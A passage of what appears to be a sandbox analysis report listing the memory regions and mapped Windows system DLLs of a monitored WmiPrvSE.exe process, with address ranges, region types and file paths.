"" Region: id = 1418 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1419 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1420 start_va = 0x290000 end_va = 0x29cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1421 start_va = 0x2c0000 end_va = 0x2c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 1422 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1423 start_va = 0x3e0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 1424 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1425 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1426 start_va = 0x690000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1427 start_va = 0x820000 end_va = 0xaeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1428 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1429 start_va = 0xc20000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1430 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 1431 start_va = 0xd80000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1432 start_va = 0xe40000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 1433 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 1434 start_va = 0xff0000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1435 start_va = 0x1070000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1436 start_va = 0x1200000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1437 start_va = 0x731b0000 end_va = 0x731b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1438 start_va = 0x731c0000 end_va = 0x731c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 1439 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1440 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1441 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1442 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1443 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1444 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1445 start_va = 0x13f5d0000 end_va = 0x13f63bfff monitored = 0 entry_point = 0x13f60b450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1446 start_va = 0x7fef31c0000 end_va = 0x7fef33b9fff monitored = 1 entry_point = 0x7fef31d4c9c region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1447 start_va = 0x7fef4580000 end_va = 0x7fef45c2fff monitored = 0 entry_point = 0x7fef45a1b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1448 start_va = 0x7fef9d80000 end_va = 0x7fef9d91fff monitored = 0 entry_point = 0x7fef9d889d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1449 start_va = 0x7fef9ec0000 end_va = 0x7fef9ee0fff monitored = 0 entry_point = 0x7fef9ed03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1450 start_va = 0x7fef9f90000 end_va = 0x7fef9fa2fff monitored = 0 entry_point = 0x7fef9f91d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1451 start_va = 0x7fefa250000 end_va = 0x7fefa25dfff monitored = 0 entry_point = 0x7fefa255500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1452 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1453 start_va = 0x7fefa290000 end_va = 0x7fefa362fff monitored = 0 entry_point = 0x7fefa308b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1454 start_va = 0x7fefa4f0000 end_va = 0x7fefa566fff monitored = 1 entry_point = 0x7fefa52e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1455 start_va = 0x7fefb2d0000 end_va = 0x7fefb2defff monitored = 0 entry_point = 0x7fefb2d1040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1456 start_va = 0x7fefb3d0000 end_va = 0x7fefb3d9fff monitored = 0 entry_point = 0x7fefb3d31c8 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 1457 start_va = 0x7fefb440000 end_va = 0x7fefb451fff monitored = 0 entry_point = 0x7fefb44aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 1458 start_va = 0x7fefb6e0000 end_va = 0x7fefb6ebfff monitored = 0 entry_point = 0x7fefb6e15d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1459 start_va = 0x7fefbad0000 end_va = 0x7fefbafbfff monitored = 0 entry_point = 0x7fefbad15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1460 start_va = 0x7fefbbb0000 end_va = 0x7fefbbdcfff monitored = 0 entry_point = 0x7fefbbb1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1461 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff monitored = 0 entry_point = 0x7fefbc111a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1462 start_va = 0x7fefbd30000 end_va = 0x7fefbd43fff monitored = 0 entry_point = 0x7fefbd316b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1463 start_va = 0x7fefbd50000 end_va = 0x7fefbd64fff monitored = 0 entry_point = 0x7fefbd51050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1464 start_va = 0x7fefbd70000 end_va = 0x7fefbd7bfff monitored = 0 entry_point = 0x7fefbd718a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1465 start_va = 0x7fefbd80000 end_va = 0x7fefbd95fff monitored = 0 entry_point = 0x7fefbd811a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1466 start_va = 0x7fefbeb0000 end_va = 0x7fefbec0fff monitored = 0 entry_point = 0x7fefbeb1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1467 start_va = 0x7fefd020000 end_va = 0x7fefd029fff monitored = 0 entry_point = 0x7fefd023cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1468 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1469 start_va = 0x7fefd1b0000 end_va = 0x7fefd206fff monitored = 0 entry_point = 0x7fefd1b5e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1470 start_va = 0x7fefd210000 end_va = 0x7fefd23ffff monitored = 0 entry_point = 0x7fefd21194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1471 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1472 start_va = 0x7fefd590000 end_va = 0x7fefd5b1fff monitored = 0 entry_point = 0x7fefd595d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1473 start_va = 0x7fefd920000 end_va = 0x7fefd942fff monitored = 0 entry_point = 0x7fefd921198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1474 start_va = 0x7fefd9c0000 end_va = 0x7fefd9cafff monitored = 0 entry_point = 0x7fefd9c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1475 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1476 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1477 start_va = 0x7fefdad0000 end_va = 0x7fefdb0cfff monitored = 0 entry_point = 0x7fefdad18f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1478 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1479 start_va = 0x7fefdbd0000 end_va = 0x7fefdbdefff monitored = 0 entry_point = 0x7fefdbd1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1480 start_va = 0x7fefdbe0000 end_va = 0x7fefdc1afff monitored = 0 entry_point = 0x7fefdbe1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1481 start_va = 0x7fefdc20000 end_va = 0x7fefdc39fff monitored = 0 entry_point = 0x7fefdc21558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1482 start_va = 0x7fefdc40000 end_va = 0x7fefddacfff monitored = 0 entry_point = 0x7fefdc410b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1483 start_va = 0x7fefddb0000 end_va = 0x7fefdde5fff monitored = 0 entry_point = 0x7fefddb1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1484 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1485 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1486 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1487 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1488 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1489 start_va = 0x7fefe1e0000 end_va = 0x7fefe3b6fff monitored = 0 entry_point = 0x7fefe1e1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1490 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1491 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1492 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1493 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1494 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1495 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1496 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1497 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1498 start_va = 0x7feffad0000 end_va = 0x7feffb21fff monitored = 0 entry_point = 0x7feffad10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1499 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1500 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1501 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1502 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1503 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1504 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1505 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1506 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1507 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1508 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1509 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1510 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1511 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1512 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1513 start_va = 0x2a0000 end_va = 0x2a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 1514 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1515 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1721 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1722 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1787 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1788 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1850 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1851 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1913 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1914 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1976 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1977 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2039 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2040 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2093 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2094 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2165 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2166 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2228 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2230 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2293 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2294 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2358 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2359 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2422 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2423 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2487 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2488 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2550 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2551 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2613 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2615 start_va = 0x7fefdb30000 end_va = 